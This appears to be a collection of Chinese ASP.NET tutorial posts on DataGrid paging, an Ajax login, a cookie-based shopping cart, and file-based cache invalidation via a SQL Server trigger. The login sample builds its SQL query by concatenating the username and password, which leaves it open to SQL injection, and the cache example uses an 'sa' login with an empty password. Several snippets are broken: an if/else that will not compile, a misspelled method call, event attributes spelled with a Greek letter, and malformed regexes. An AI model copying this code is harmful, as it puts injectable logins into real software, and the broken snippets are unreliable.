           @PageIndex int, -- 分页后需要页的序号
           @PageSize int, -- 一页的大小
           @ConditionSQL – 查询条件的SQL语句
    )
     AS … 具体代码就不写了(可以参考上面的链接).
     
    具体的SQL语句如下:
    SELECT TOP 100 * FROM (select * from product where productid<200000) T WHERE T.productid NOT IN
    (SELECT TOP 900 productid FROM (select productid from product where productid<200000) T1 ORDER BY T1.productid asc) ORDER BY productid asc
    这条语句的 从总的商品(30万)中取出productid<200000(共20万),再按每页100的大小分页,然后取出第10页.
     
    Public DataTable ListProduct(int pageIndex, int pageSize)
    {
           //ADO.net从数据库中取出数据的代码就略过^_^.
    }
     
     
    用上面的存储过程读出的数据在DataGrid里面分页, 必须把DataGrid的AllowPaging和AllowCustomPaging设置为true
    protected System.Web.UI.WebControls.DataGrid ProductGrid;
    ProductGrid.AllowPaging = true;
    ProductGrid.AllowCustomPaging = true;
     
    然后在设置要显示的一页的大小
    ProductGrid.PageSize = 100; // 在显示的时候依据实际的数据显示。
    设置一页大小后,如果要让DataGrid实际分出页数来,还必须设置
    ProductGrid.VirtualItemCount = GetProductCount() ; // GetProductCount() 的功能是获取满足条件的产品数目, 这里的条件就是productid<200000. 设置这项属性后,那么这个DataGrid的页数就是
    VirtualItemCount/PageSize, 也就是PageCount的值. 不能对PageCount直接赋值,因为他是只读的属性.
    这些属性设置好后再绑定数据:
    ProductGrid.DataSource = ListProduct(1, ProductGrid.PageSize); // 在Page_Load里面 pageIndex为1,记住判断IsPostBack,在IsPostBack为false时执行这些代码
    ProductGrid.DataBind();
     
    这样数据绑定后就可以看到具有分页模样的页面了.但是还不能真正的分页.要实现真正的分页,还必须实现下面的功能.
     
    处理DataGrid的PageIndexChanged事件(处理用户新选中某页时的事件)
    private void ProductGrid_PageIndexChanged(object source, System.Web.UI.WebControls.DataGridPageChangedEventArgs e)
    {
         // 如果在存储过程分页功能中用1表示第一页的序号的话那么这里必须用e.NewPageIndex+1作为pageIndex(如果选择了DataGrid上页号为3的页,那么e.NewPageIndex就为2), 否则的话直接用e.NewPageIndex就可以了
         ProductGrid.DataSource = ListProduct(e.NewPageIndex+1, ProductGrid.PageSize); // 从数据库中读取新的数据
         ProductGrid.DataBind();
         // 设置当前的Page序号值, 如果不设置的话它是不会变得, 这样会给用户造成误解,以为所有页的数据相同。
         ProductGrid.CurrentPageIndex =e.NewPageIndex;
    }
     
    如果你处理了DataGrid的ItemCommand的事件的话,必须在ItemCommand事件处理代码前面加上这些代码:
    if (e.Item.ItemType == ListItemType.Pager)
    {
         return;
    }
    因为当PageIndexChanged事件激发,也就是用户选则了另外一页时会先激发ItemCommand事件,如果不这样处理的话,可能会遇到一些意想不到的情况(如果你确实需要的话也可以上面这段代码,不过最好实际测试一下)。
     
    整个过程完成后,再次浏览页面,觉得速度真是快多了。ASP.NET中利用DataGrid的自定义分页功能和存储过程结合实现高效分页
     
    运行环境:
    WinXP Pro SP1, SQLServer 2000, .Net Framework 1.1

    Ajax Login Sample

    一、介绍一下Ajax在Asp.Net中的基本使用
        1、在工程中引入Ajax.dll文件。
      Ajax.dll实现XmlHttpRequest请求服务器的实现细节。.net项目中,添加上对其的引用,就可以进
    行相应封装操作了。
        2、在web.config中设置HttpHandle
        <httpHandlers>
          <add verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax"/>
        </httpHandlers>
        3、在 <HEAD>与</HEAD>间加入一些引用如下:
        <script src=js/Xml.js></script>
        <link href="css/myStyle.css" type="text/css" rel="stylesheet">
        <script src="/HttpForAjax/ajax/common.ashx" type="text/javascript"></script>
        <script src="/HttpForAjax/ajax/Ttyu.AjaxData,HttpForAjax.ashx" type="text/javascript"></script>
        二、介绍正题-用户登录验证
        1、前台Html:
    <form id="Form1" method="post" runat="server" action="" οnsubmit="login.GetLogin();return false;">  
        <TABLE id="Table1"  cellSpacing="1" cellPadding="1" width="300" border="1">
         <TR>
          <TD></TD>
          <TD><INPUT type="text"  id="txtUsername">usename</TD>
         </TR>
         <TR>
          <TD></TD>
          <TD><INPUT type="password"  id="txtPassword">pwd</TD>
         </TR>
         <TR>
          <TD></TD>
          <TD><INPUT type="submit" value="登陆"></TD>
         </TR>
        </TABLE>
      </form>
        2、引用Js文件
    <SCRIPT language="javascript" src="login.js" type="text/javascript"></SCRIPT>
      <script language="javascript">
      window.onload = function()
        {
           login=new Login(testAjax);
          }
      </script>
       login.Js文件
    // 提取控件值
    function getValueById(pObjID){
     var obj=document.getElementById(pObjID);
     try{
      return obj.value;
     }catch(e){
      alert("控件:"+pObjID+" 不存在,或没有value属性");
     }
    }
    function Login(obj)
    {
     this.OBJ = obj;
     this.GetLogin=function()
     {
      var returnValue;
      var username=getValueById('txtUsername');
      var password=getValueById('txtPassword');
      if(!username||!password)
      {
       alert('请输入用户名与密码!');
       return;
      } 
      try
      {
       returnValue=this.OBJ.Login(username,password).value;
      }catch(e)
      {
       alert('登录出错,请稍后再试或与管理员联系');
      }
      switch(returnValue)
      {
      
       case 1:
        alert('对不起,您输入的用户名或密码不正确或者不是管理员!');
        break;  
       case 0:
        alert('管理员登录成功!');
        window.document.location.href('../Error.aspx');
        break;  
       default:
        alert('登录失败,请稍后再试或与管理员联系'+returnValue);
        break;
      }
     }
    }
    3、.cs文件
    private void Page_Load(object sender, System.EventArgs e)
      {
       Ajax.Utility.RegisterTypeForAjax(typeof(testAjax));
      }
      [Ajax.AjaxMethod()]
      public int Login(string username,string password)
      {  
       // 管理员登陆入口
       Action.Common.CDB cdb = new Action.Common.CDB();
       if("admin"==cdb.ExeScalar("select upower from users where
    uname='"+username+"' and upwd='"+password+"'"))
        return 0;
       else
        return 1;
      }
     

    Ajax Shopping Cart(2)

    [CS]
     
    using System;
    using System.Data;
    using System.Configuration;
    using System.Collections;
    using System.Web;
    using System.Web.Security;
    using System.Web.UI;
    using System.Web.UI.WebControls;
    using System.Web.UI.WebControls.WebParts;
    using System.Web.UI.HtmlControls;
    using AW.Components;
    using AjaxPro;
    using System.Collections.Generic;
    using System.Collections.Specialized;
    using System.Text;
    using AW.Components.Helpers;
    public partial class _Default : System.Web.UI.Page {
        protected string Key = "ORDERDETAIL_" + CContext.Current.SiteOwnerUserID.ToString();
        protected void Page_Load(object sender, EventArgs e) {
            Utility.RegisterTypeForAjax(typeof(_Default));
            string action = Request["Act"];
            int id;
            if (string.IsNullOrEmpty(action))
                action = "list";
            if (int.TryParse(Request["ID"], out id)) {
                if (action == "add") {
                    CProduct prodcut = CProducts.GetProduct(id, CContext.Current.SiteOwnerUserID);
                    if (prodcut == null) {
                        CJS.AlertAndGoUrl("此商品已经被删除!", Request.Url.AbsolutePath);
                        return;
                    }
                    AddProductToOrder(id, 1);
                    Response.Redirect(Request.Url.AbsolutePath, true);
                    return;
                }
            }
            rptView.DataSource = GetOrders();
            rptView.DataBind();
            MultiView1.ActiveViewIndex = 0;
        }
        public List<ORDERDETAIL> GetOrders() {
            HttpCookie cookie;
            cookie = Request.Cookies[Key] == null ? new HttpCookie(Key) : Request.Cookies[Key];
            NameValueCollection nvc = CHttpHelper.Base64Decode(cookie.Value);
            List<ORDERDETAIL> orders = new List<ORDERDETAIL>();
            int totalNum = 0;
            double totalMoney = 0.00;
            double totalVipMoney = 0.00;
            for (int i = 0; i < nvc.Count; i++) {
                ORDERDETAIL ord = new ORDERDETAIL(int.Parse(nvc.Keys[i]), int.Parse(nvc[i]));
                orders.Add(ord);
                totalNum += int.Parse(nvc[i]);
                totalMoney += (ord.Number * (ord.Product==null?0:ord.Product.Price));
                totalVipMoney += (ord.Number * (ord.Product==null?0:ord.Product.VipPrice));
            }
            lbTotalNum.Text = totalNum.ToString();
            lbTotalMoney.Text = totalVipMoney.ToString("0.00");
            lbDiscount.Text = (totalMoney - totalVipMoney).ToString("0.00");
            return orders;
        }
        public void AddProductToOrder(int pID, int num) {
            HttpCookie cookie;
            cookie = Request.Cookies[Key] == null ? new HttpCookie(Key) : Request.Cookies[Key];
            cookie.Path = Request.ApplicationPath;
            cookie.Domain = "." + Request.Url.Host;
            NameValueCollection nvc = CHttpHelper.Base64Decode(cookie.Value);
            if (nvc[pID.ToString()] != null)
                nvc[pID.ToString()] = (int.Parse(nvc[pID.ToString()]) + num).ToString();
            else
                nvc.Add(pID.ToString(), num.ToString());
            cookie.Value = CHttpHelper.Base64Encode(nvc);
            Response.AppendCookie(cookie);
        }
        [AjaxMethod]
        public RESUTLINFO ModifyProductNumber(int pID, int num, string cookieStr) {
            NameValueCollection nvc = CHttpHelper.Base64Decode(cookieStr);
            nvc[pID.ToString()] = num.ToString();
            return new RESUTLINFO(pID, int.Parse(nvc[pID.ToString()]),CHttpHelper.Base64Encode(nvc));
        }
        [AjaxMethod]
        public RESUTLINFO RemoveProductFromOrder(int pID, string cookieStr) {
            NameValueCollection nvc = CHttpHelper.Base64Decode(cookieStr);
            nvc.Remove(pID.ToString());
            return new RESUTLINFO(pID, CHttpHelper.Base64Encode(nvc));
        }
    }
     
    CS文件代码
     
    [CHttpHeler]
     
    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Collections.Specialized;
    using System.Web;
    namespace AW.Components.Helpers {
        public class CHttpHelper {
            private CHttpHelper() { }
            GetString#region GetString
            public static string GetString(NameValueCollection nvc) {
                string rtn = string.Empty;
                for (int i = 0; i < nvc.Count; i++) {
                    rtn += nvc.Keys[i] + "=" + nvc[i];
                    if (i < nvc.Count - 1) rtn += "&";
                }
                return rtn;
            }
            public static string GetString(string base64String) {
                byte[] bytes = Convert.FromBase64String(base64String);
                return Encoding.Default.GetString(bytes);
            }
            #endregion
            public static string Base64Encode(NameValueCollection nvc) {
                return Convert.ToBase64String(Encoding.Default.GetBytes(GetString(nvc)), Base64FormattingOptions.None);
            }
            public static NameValueCollection Base64Decode(string base64String) {
                if (string.IsNullOrEmpty(base64String))
                    return new NameValueCollection();
                return HttpUtility.ParseQueryString(GetString(HttpUtility.UrlDecode(base64String)));
            }
        }
        public struct ORDERDETAIL {
            public ORDERDETAIL(int pID, int num) {
                Product = CProducts.GetProduct(pID, CContext.Current.SiteOwnerUserID);
                Number = num;
            }
            public CProduct Product;
            public int Number;
            public void ParseFromString(string str) {
            }
            public int ProudctID {
                get {
                    return Product == null ? 0 : Product.ID;
                }
            }
            public override string ToString() {
                return ProudctID + ":" + Number.ToString();
            }
        }
        public struct RESUTLINFO {
            public string NVC;
            public int PID;
            public int TOTAL;
            public RESUTLINFO(int pID, string nvc) {
                PID = pID;
                NVC = nvc;
                TOTAL = 0;
            }
            public RESUTLINFO(int pID, int total, string nvc) {
                PID = pID;
                NVC = nvc;
                TOTAL = total;
            }
        }
    }
    一个Helper 类

    Ajax Shopping Cart(1)

    [ASPX]
     
    <%@ Page Language="C#" MasterPageFile="~/Scripts/ShopCart/ShopCart.master" AutoEventWireup="true"
        CodeFile="Default.aspx.cs" Inherits="_Default" Title="购物车" %>
      
       <%@ Import Namespace="AW.Components.Helpers" %> 
    <asp:Content ID="Content1" ContentPlaceHolderID="ContentPlaceHolder1" runat="Server">
        <asp:MultiView ID="MultiView1" runat="server">
            <asp:View ID="View1" runat="server">
                <script language="javascript" type="text/javascript" src='<%= this.ResolveUrl("~/Utility/Functions.js") %>'></script>
                <script language="javascript" type="text/javascript">
            var key = '<%= Key %>';
            function remove(pID){
                var v = getCookie(key)==null?"":getCookie(key);
                _Default.RemoveProductFromOrder(pID,v,remove_Callback);
            }
            function remove_Callback(res){
                if(res.error!=null)alert(res.error);
                else{
                   var tr = document.getElementById("tr_" + res.value.PID.toString());
                   tr.style.display = "none";        
                   deleteCookie(key,"/","." + location.host);
                   setCookie(key,res.value.NVC,null,"/","."+location.host);
                   calcMoney();
                }
            }
            function modify(pID,num){
                var v = getCookie(key)==null?"":getCookie(key);
                _Default.ModifyProductNumber(pID,num,v,modify_Callback);
            }
            function modify_Callback(res){
                deleteCookie(key,"/","." + location.host);
                setCookie(key,res.value.NVC,null,"/","."+location.host);   
                var total = document.getElementById("txtSubTotal_" + res.value.PID.toString());
                var price = document.getElementById("txtVipPrice_" + res.value.PID.toString());
                total.value = Round(parseFloat(parseInt(res.value.TOTAL) * parseFloat(price.value)),2);
                calcMoney();
            }
            function modifyAll(){
          
            }
            function clearCart(){
                if (!confirm('确定要清空购物车吗?')) return;
                var tb = document.getElementById("tbOrder");
                   for(var i=1;i<tb.rows.length;i++){
                        var tr = tb.rows.item(i);
                        if(tr.id.indexOf("_")!=-1 && tr.style.display!="none"){
                            tr.style.display = 'none';
                         }
                    } 
                 deleteCookie(key,"/","." + location.host);
                var ctlTotalNum = document.getElementById("<%=lbTotalNum.ClientID %>");
                var ctlTotalMoney = document.getElementById("<%=lbTotalMoney.ClientID %>");
                var ctlDiscount = document.getElementById("<%=lbDiscount.ClientID %>");    
                ctlTotalNum.innerHTML = "0";           
                ctlTotalMoney.innerHTML = "0";
                ctlDiscount.innerHTML = "0";
            }
           
            function calcMoney(){
                var ctlNums = document.getElementsByName("txtNumber");
                var ctlPrices = document.getElementsByName("txtPrice");
                var ctlVipPrices = document.getElementsByName("txtVipPrice");
                var ctlSubTotal = document.getElementsByName("txtSubTotal");
                var ctlTotalNum = document.getElementById("<%=lbTotalNum.ClientID %>");
                var ctlTotalMoney = document.getElementById("<%=lbTotalMoney.ClientID %>");
                var ctlDiscount = document.getElementById("<%=lbDiscount.ClientID %>");    
                var totalNum = 0;
                var subTotal = 0;
                var subTotalVip = 0;
                var totalMoney = 0; 
                var totalVipMoney = 0;
               
                for(var i=0;i<ctlNums.length;i++){
                    totalNum += parseInt(ctlNums[i].value);
                    subTotal  = parseFloat(totalNum * parseFloat(ctlPrices[i].value));
                    subTotalVip =  parseFloat(totalNum * parseFloat(ctlVipPrices[i].value));
                    totalMoney +=  subTotal;
                    totalVipMoney += subTotalVip;
                   ctlSubTotal.value = subTotalVip.toString();
                }
                ctlTotalNum.innerHTML = Round(totalNum,2);
                ctlTotalMoney.innerHTML = Round(totalVipMoney,2);
                ctlDiscount.innerHTML = Round((totalMoney - totalVipMoney),2);
            }
            function Round(a_Num , a_Bit){
                return (Math.round(a_Num * Math.pow (10 , a_Bit)) / Math.pow(10 , a_Bit)).toString()  ;
            }
            </script>
                <div id="shopcart">
                    <table width="778" border="0" align="center" cellpadding="0" cellspacing="0" background="../../Icon/ShopCart/shopC_syp_5.gif">
                        <tbody>
                            <tr>
                                <td width="12">
                                    <img height="72" src="../../Icon/ShopCart/shopC_syp_1.gif" width="12" /></td>
                                <td>
                                    <img height="72" src="../../Icon/ShopCart/shopC_6.gif" width="176" /></td>
                                <td valign="bottom" align="right">
                                    <img height="29" src="../../Icon/ShopCart/shopC_4.gif" width="324" /></td>
                                <td width="10" align="right" valign="bottom">
                                    <img height="72" src="../../Icon/ShopCart/shopC_syp_3.gif" width="10" /></td>
                            </tr>
                        </tbody>
                    </table>
                    <table class="meun_bg" cellspacing="0" cellpadding="0" width="540" align="center"
                        border="0">
                        <tbody>
                            <tr>
                                <td align="right">
                                    <img height="28" src="../../Icon/ShopCart/shopC_syx_01.gif" width="93" border="0" /></td>
                                <td>
                                    <img height="32" src="../../Icon/ShopCart/shopC_sy_8.gif" width="55" /></td>
                                <td>
                                    <img height="28" src="../../Icon/ShopCart/shopC_syx_02.gif" width="112" border="0" /></td>
                                <td>
                                    <img height="32" src="../../Icon/ShopCart/shopC_sy_8.gif" width="55" /></td>
                                <td>
                                    <img height="22" src="../../Icon/ShopCart/shopC_syx_03.gif" width="109" border="0" /></td>
                            </tr>
                        </tbody>
                    </table>
                    <table cellspacing="0" cellpadding="0" width="778" align="center" bgcolor="#fafafa"
                        border="0">
                        <tbody>
                            <tr>
                                <td>
                                    <img height="41" hspace="8" src="../../Icon/ShopCart/shopc_z1.gif" width="143" /></td>
                            </tr>
                            <tr>
                                <td>
                                    <table cellspacing="0" cellpadding="0" width="96%" align="center" border="0">
                                        <tbody>
                                            <tr align="right" bgcolor="#fafafa">
                                                <td>
                                                    <img height="15" src="../../Icon/ShopCart/shopc_syx_j.gif" width="771" /></td>
                                            </tr>
                                            <tr align="right" bgcolor="#fafafa">
                                                <td class="boder_center_bg">
                                                    <table cellspacing="1" width="95%" align="center" border="0" id="tbOrder">
                                                        <tbody>
                                                            <tr class="boder_topbg" align="center">
                                                                <td>
                                                                    商品名称</td>
                                                                <td>
                                                                    单 位</td>
                                                                <td>
                                                                    数 量</td>
                                                                <td>
                                                                    市场价(元)</td>
                                                                <td>
                                                                    会员价(元)</td>
                                                                <td>
                                                                    小 计(元)</td>
                                                                <td width="8%">
                                                                    操作</td>
                                                            </tr>
                                                            <asp:Repeater ID="rptView" runat="server">
                                                                <ItemTemplate>
                                                                    <tr align="center" bgcolor="#f9f9f9" id="tr_<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>">
                                                                        <td align="left">
                                                                            <asp:HyperLink Target="_blank" NavigateUrl='<%# "~/" + ((ORDERDETAIL)Container.DataItem).Product.ChannelID.ToString() + "_" + ((ORDERDETAIL)Container.DataItem).Product.ID.ToString() + ".aspx" %>'
                                                                                Text='<%# ((ORDERDETAIL)Container.DataItem).Product.Name %>' runat="server" /></td>
                                                                        <td>
                                                                            <%# String.IsNullOrEmpty(((ORDERDETAIL)Container.DataItem).Product.Unit) ? "个" : ((ORDERDETAIL)Container.DataItem).Product.Unit %>
                                                                        </td>
                                                                        <td>
                                                                            <input style="text-align: right;" onbeforepaste="clipboarddata.setdata('text',clipboarddata.getdata('text').replace(/[^/d]/g,''))"
                                                                                id="txtNum_<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>" οnkeyup="value=value.replace(/[^/d]/g,'');"
                                                                                οnblur="if(this.value.length==0)this.value=0;modify(<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>,value);"
                                                                                maxlength="2" size="4" value="<%# ((ORDERDETAIL)Container.DataItem).Number %>"
                                                                                name="txtNumber" /></td>
                                                                        <td style="padding-left: 20px" align="right">
                                                                            <del>
                                                                                <%# ((ORDERDETAIL)Container.DataItem).Product.Price %>
                                                                            </del>
                                                                            <input name='txtPrice' id="txtPrice_<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>"
                                                                                type="hidden" value='<%# ((ORDERDETAIL)Container.DataItem).Product.Price %>' />
                                                                        </td>
                                                                        <td style="padding-left: 20px" align="right">
                                                                            <input style="text-align: right;" name='txtVipPrice' id="txtVipPrice_<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>"
                                                                                type="hidden" value='<%# ((ORDERDETAIL)Container.DataItem).Product.VipPrice %>' />
                                                                            <%# ((ORDERDETAIL)Container.DataItem).Product.VipPrice %>
                                                                        </td>
                                                                        <td style="padding-left: 20px" align="right">
                                                                            <input style="text-align: right;border: none 0px white; background-color: White;" size="4" name='txtSubTotal' id="txtSubTotal_<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>"
                                                                                type="text" readonly="readonly" value='<%# ((ORDERDETAIL)Container.DataItem).Product.VipPrice * ((ORDERDETAIL)Container.DataItem).Number %>' /></td>
                                                                        <td>
                                                                            <a href="javascript:remove(<%# ((ORDERDETAIL)Container.DataItem).Product.ID %>);"><font
                                                                                color="#ff0000">删除</font></a></td>
                                                                    </tr>
                                                                </ItemTemplate>
                                                            </asp:Repeater>
                                                            <tr align="right" bgcolor="#f9f9f9">
                                                                <td colspan="7">
                                                                    购物车中共有
                                                                    <asp:Label ID="lbTotalNum" ForeColor="red" runat="server" />
                                                                    件商品,
    共计 <font class="font_red">¥<asp:Label ID="lbTotalMoney" runat="server" />
                                                                        元</font>(不包括邮费) &nbsp;您节省了<font class="font_red">¥<asp:Label ID="lbDiscount" runat="server" /></font>
                                                                </td>
                                                            </tr>
                                                            <tr align="left" bgcolor="#f9f9f9">
                                                                <td colspan="7">
                                                                    <img style="width: 104px; height: 27px; cursor: pointer;" οnclick="modifyAll();"
                                                                        height="23" alt="单击这里保存您所修改的商品数量" width="85" src="../../Icon/ShopCart/shopc_13_02.gif"
                                                                        border="0" />
                                                                    &nbsp;
                                                                    <img style="cursor: pointer" οnclick="clearCart();" height="27" alt="单击这里清空所有购买的商品"
                                                                        src="../../Icon/ShopCart/shopc_13_03.gif" width="104" />&nbsp;</td>
                                                            </tr>
                                                        </tbody>
                                                    </table>
                                                </td>
                                            </tr>
                                            <tr align="right" bgcolor="#fafafa">
                                                <td>
                                                    <img height="15" src="../../Icon/ShopCart/shopc_20.gif" width="771" /></td>
                                            </tr>
                                        </tbody>
                                    </table>
                                </td>
                            </tr>
                            <tr>
                                <td align="right">
                                    <img style="cursor: hand" οnclick="javascript:window.close();" height="42" alt="点击继续购买您喜欢的其它商品"
                                        src="../../Icon/ShopCart/shopc_13_01.gif" width="143" vspace="10" />&nbsp; &nbsp;
                                    &nbsp;
                                    <img style="cursor: hand" οnclick="location.href='./ClientInfo.aspx';" height="42"
                                        alt="点击去收银台结帐" hspace="10" src="../../Icon/ShopCart/shopc_13.gif" width="143"
                                        vspace="10" id="IMG1" /></td>
                            </tr>
                            <tr>
                                <td class="style2" align="center">
                                </td>
                            </tr>
                        </tbody>
                        <tr>
                            <td>
                            </td>
                        </tr>
                    </table>
                </div>
            </asp:View>
        </asp:MultiView>
        <br />
        <br />
    </asp:Content>
     
    HTML代码 

    ASP.NET Cache

    ASP.NET 数据库缓存依赖

    By Peter A. Bromberg, Ph.D.
    在ASP.NET中,Cache类最酷的特点是它能根据各种依赖来良好的控制自己的行为。以文件为基础的依赖是最有用的,文件依赖项是通过使用 Cache.Insert 并提供引用文件的 CacheDependency 对象添加的
     
    Cache.Insert("MyData", Source, new CacheDependency(Server.MapPath("authors.xml")));
     
    但是当我们想让缓存根据数据库中表的变化而失效并重建该缓存的时候,应该怎么做呢 – 这种情景在很多应用程序中都存在。Asp.net没有为监视数据库表的变化提供内在的直接缓存支持。利用SQL Server的不常用的系统存储过程sp_makewebtask ,是可以达到这个目的的,这个存储过程本来是用作从查询中生成web页面的,但是我们只要稍作修改- 在触发器中使用它,我们就可以取得一个合理有效的途径,当数据库某张表的记录被更新,删除或者修改时来修改某个特定的文件, 这样会使在CacheDependency实例中的文件监视进程侦测到文件的变化,从而使缓存失效。事实上,因为CacheDependency 类工作在UNC文件协议上,我们可以在整个Web Farm上部署这个解决方案,Web Farm上每台机器上的应用程序副本都会通过UNC文件路径来监视WebFarm中某台单个机器上的同一个文件
    废话少说,让我们创建一个简单的web应用程序,来演示它是如果工作的。首先,我们将会使用我们SQL Server中都信赖的Northwind范例数据库。创建一个简单的DataGrid来显示Employees表中的记录. 我们要做的第一件事情就是创建触发器。
    CREATE TRIGGER WriteCacheDepFile ON [dbo].[Employees]
    FOR INSERT, UPDATE, DELETE
    AS
    EXEC sp_makewebtask '//peter/C$/Cache/mycache.txt', 'SELECT top 1 FirstName FROM employees'
     
    以上存储过程就是简单的告诉SQL Server,如果Employee表发生任何变动,就根据一个简单的查询来更新”mycache.txt”文件,有这个简单的查询语句其实足够了,只要它是一个有效的T-SQL语句,SQL Server会很乐意的去更新那个文件。
    接下来,我们需要创建一个目录,并设为共享。你可能要更新该文件的访问权限,以使它可以被写入,注意,我这里使用的是管理员共享”C$”.另外,你还需要创建一个空的文本文件,"mycache.txt".
    好,现在可以创建我们的应用程序了。首先,在web.config文件中输入依赖文件名称,这样做可以使我们在修改依赖文件的时候不需要重新部署应用程序。
    在web.config文件的根部,添加appSettings配置节:
    </system.web>
    <appSettings>
    <!—缓存依赖文件路径 -->
    <add key="dependencyFile" value="//peter/Cache/mycache.txt" />
    </appSettings>
    </configuration>
     
    现在,让我们在Global类中建立缓存机制,这样我们不需要在任何页面中编写特定的代码

    [C#]
    public class Global : System.Web.HttpApplication
    {
    Cache _cache =null;
    public static bool blnReflash = false;
    public const string ConnStr = "server=localhost;database=Northwind;uid=sa;pwd=";
    public const string strSQL = "SELECT EmployeeID, lastname, firstname FROM Employees";
     
    protected void Application_Start(Object sender, EventArgs e)
    {
    _cache = Context.Cache;
    RefreshCahe(null,null,0);
    }
     
    protected void Session_Start(Object sender, EventArgs e)
    {
    if(HttpContext.Current.Cache["Employees"]==null)
    RefreshCache(null,null,0);
    }
     
    static void RefreshCache(string key,object item,CacheItemRemoveReason reason)
    {
    SqlDataAdapter adapter = new SqlDataAdapter(strSQL,ConnStr);
    DataSet ds = new DataSet();
    adapter.Fill(ds,"Employees");
    CacheItemRemovedCallback onRemove = new CacheItemRemovedCallback(RefreshCache);
     
    string depFile= ConfigurationSettings.AppSettings["dependencyFile"].ToString();
    HttpContext.Current.Cache.Insert("Employees",ds,new CacheDependency(depFile),
    Cache.NoAbsoluteExpiration,Cache.NoSlidingExpiration,
    CacheItemPriority.High,onRemove);
     
    blnReflash = true;
    }
     
    就像上面看到的一样,我们定义了一个Cache类型的_cache对象,在Application_Start方法中,我们把当前的Cache实例赋给它,然后调用RefreshCache方法去填充该对象。RefreshCache实际上是一个静态的委托回调方法,它所做的就是简单的从Empoyees表中取得一个DataSet,然后创建CacheItemRemovedCallback类型的委托OnRemove,使其指向RefreshCache方法,这样当被监控的文件变化时,也就是缓存失效时,就会调用该委托,刷新缓存中的数据。
    最后我们把DataSet连同OnRemove委托一起插入到缓存中,在Session_Start中,为了“保险“,我另外添加了一个判断来调用RefreshCache方法填充缓存。
    到这里,我们应用程序就创建好了,在任何页面中都可以访问到缓存的DataSet。在WebForm1aspx中,我演示了如何使用它。
    [C#]
    private void Page_Load(object sender, System.EventArgs e)
    {
    //保证缓存非空,如果为空,则填充它
    if(Cache["Employees"] == null)
    Global.RefreshCache(null,null, 0);
    cacheStatus.Text = "Cache Refreshed at "+ DateTime.Now.ToLongTimeString();
    else
    cacheStatus.Text = " DataSet from Cache ";
     
    DataSet ds = (DataSet)Cache["Employees"];
    DataGrid1.DataSource= ds.Tables[0];
    DataGrid1.DataBind();
    }
     
    现在,如果你请求这个页面,它将会每次成功的显示从从Cache中取得